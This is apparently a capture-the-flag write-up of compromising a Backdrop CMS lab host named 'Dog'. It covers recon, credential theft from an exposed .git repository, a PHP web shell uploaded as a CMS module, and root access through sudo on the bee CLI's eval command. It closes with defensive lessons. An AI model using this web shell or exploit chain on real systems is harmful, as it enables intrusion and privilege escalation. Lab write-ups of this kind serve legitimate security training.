Recon
Two ports. The web app is Backdrop CMS — a PHP CMS forked from Drupal. Version fingerprinted from page source.
$ nmap -sC -sV -oN nmap/initial 10.129.8.1 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http Apache httpd 2.4.62 |_http-title: Home | Dog
$ echo "10.129.8.1 dog.htb" >> /etc/hosts $ curl -s http://dog.htb | grep "backdrop" <meta name="Generator" content="Backdrop CMS 1.27.1" />
Enumeration
Exposed .git Repository
$ curl -s http://dog.htb/.git/config [core] repositoryformatversion = 0 [remote "origin"] url = http://dog.htb/.git
/.git/ is accessible. I used git-dumper to pull the full repo:
$ git-dumper http://dog.htb/.git/ ./dog_repo $ grep -r "password\|db_pass\|passwd" dog_repo/ --include="*.php" | head -5 settings.php:$database = 'mysql://backdropuser:BackDropJ23DS@localhost/backdrop'; $ grep -r "admin\|email" dog_repo/settings.php settings.php:$config['system.core']['site_mail'] = 'dogBackDropDev@dog.htb';
Database password: BackDropJ23DS. The admin email is dogBackDropDev@dog.htb. I tried this password against the admin login at /user/login — it worked.
Foothold
Backdrop CMS allows administrators to install modules via ZIP upload. A custom module with a PHP file inside it becomes accessible via the web root after installation. I crafted a minimal malicious module:
# Create module directory structure $ mkdir -p shell_module && cd shell_module $ cat > shell_module.info << 'EOF' name = Shell Module description = Shell type = module backdrop = 1.x-1.0.0 EOF $ cat > shell_module.module << 'EOF' <?php // shell module EOF $ cat > shell.php << 'EOF' <?php system($_GET['cmd']); ?> EOF $ cd .. && zip -r shell_module.zip shell_module/
Uploaded via Admin → Functionality → Install New Module → Upload ZIP. After installation the module files are at /modules/shell_module/:
$ curl "http://dog.htb/modules/shell_module/shell.php?cmd=id" uid=33(www-data) gid=33(www-data)
Reverse shell as www-data. I pivoted to user johndoe using the DB password:
www-data@dog:~$ su johndoe Password: BackDropJ23DS johndoe@dog:~$
Privilege Escalation
johndoe@dog:~$ sudo -l User johndoe may run the following commands on dog: (root) NOPASSWD: /usr/local/bin/bee
bee is the Backdrop CMS command-line tool (similar to Drupal's drush). It has an eval subcommand that executes arbitrary PHP code in the context of the CMS — which runs as root when invoked via sudo.
johndoe@dog:~$ sudo /usr/local/bin/bee --root /var/www/html eval 'system("/bin/bash -p");' root@dog:/var/www/html# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- Exposed
/.git/on web servers is an instant credential leak —settings.phpin Backdrop/Drupal,wp-config.phpin WordPress, and similar config files committed to git are recoverable via git-dumper. - CMS module/plugin upload mechanisms are classic RCE vectors — any feature that installs PHP-based extensions gives an admin code execution. Assess admin panel access as a critical finding.
- CMS CLI tools (
bee,drush,wp-cli) with sudo access are GTFObins equivalents — theirevalcommands execute arbitrary PHP as whatever user the CLI runs as. - Database passwords are routinely reused as system user passwords — always try found DB credentials against local user accounts via
su.
/.git/ and never commit settings files containing database credentials. Restrict CMS CLI tools (bee, drush) from the sudo configuration — they offer unrestricted code execution to anyone who can run them with root privileges.